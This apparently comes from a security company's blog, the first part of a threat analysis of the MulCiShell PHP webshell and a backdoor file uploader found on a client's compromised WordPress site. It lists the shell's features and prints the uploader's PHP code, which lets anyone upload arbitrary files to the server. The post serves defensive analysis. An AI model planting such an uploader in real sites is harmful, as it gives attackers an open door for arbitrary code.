MalwareGone Threat Analysis – MulCiShell Backdoor and File Uploader – Part I

For this installment, we’ll talk about a webshell called “MulCiShell”, more specifically the “MulCiShell v0.2” backdoor file, which is a PHP Web Shell that we found in another client’s website using CodeGuard’s MalwareGone tool. Here is a snippet of code for this webshell:


If you’d like the full version of the file you can find a copy on GitHub.

Doing a little bit of research we found that the first versions of this webshell dates back to 2009, which is really old for malware like this, but it seems that the developer of this backdoor has been maintaining it as it keeps getting updated with new capabilities and enhancements. As we can see this webshell has many functions and there’s even a changelog in the comment at the top of the file. This specific version was last updated by someone nicknamed KingDefacer.

If you search for KingDefacer on, which is an archive of defaced websites, you will find a lot of entries:


It seems that KingDefacer’s attacks stopped by the end of August 2013. If anyone has any more news about him, please let us know, we’d love to hear. But now you might ask was KingDefacer the one who hacked our client’s website?

We’ll probably never know for sure, but we don’t think so. Why? Well, all we can say is that our client’s website URL is not listed in the results shown in the picture above or any other results reported by KingDefacer. But when we searched for the specific URL of the hacked website we found that another defacer called proph3t reported it, and when we search for his nickname at we found this:


As you can see he is keeping himself busy by defacing many websites. Mostly sites located in the US and Brazil.

But enough speculation, let’s talk about the webshell code. The first thing we noticed is that this is a big file for a backdoor, weighing in at 71kb of code. In the last post, we found that the backdoor file was only 25kb, which is almost one-third of the size. Another thing we noticed right away and also because of the file size is that this webshell has many functions, just reading the release notes from the version we can see the following features:

  • Duplicates: It creates copies of itself in every writable directory
  • Infects: Attaches malicious javascript to your pages
  • Shell Access: Gives the hacker shell access
  • Passwords: Brute forces FTP and MySQL passes
  • File Manager: It allows the hacker to access all your files
  • Complete Backup: The hacker can download all files in one click

It’s unlikely that this file was just uploaded to the site over FTP or SFTP. Vulnerabilities in WordPress plugins and themes are a much easier vector than trying to brute force someone’s SFTP password. So, what kind of vulnerabilities could be exploited in this instance? Let’s dig deeper to find out.

Looking through the site content we found another malicious file called common-jun19.php, that was looked like this:

echo '<b><br><br>'.php_uname().'<br></b>';

echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';

echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';

if( $_POST['_upl'] == "Upload" ) {

  if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload SUKSES !!!</b><br><br>'; }

      else { echo '<b>Upload GAGAL !!!</b><br><br>'; }


So what is this? It is a simple PHP file that has a button to upload files to the server. If the upload works it will show the message “Upload SUKSES !!!”, if it doesn’t work, it tells you “Upload GAGAL !!!”. That file allows a malicious user to upload anything they want to the server. It seems that it was used by the attacker to bypass another upload function that had file extensions restrictions to upload the MulCiShell file. And how was this file uploaded to the server in the first place?

It’s likely that one of these plugins has a vulnerability that allows code injection, and the attacker was able to upload a simple PHP file uploader carried in a JPEG image. You can find more information about this kind of code injection attack here.


Next time we’ll explore these plugins to find the source of the code injection attack and discuss remediation solutions. Stay tuned!


Leave a comment

Your email address will not be published. Required fields are marked *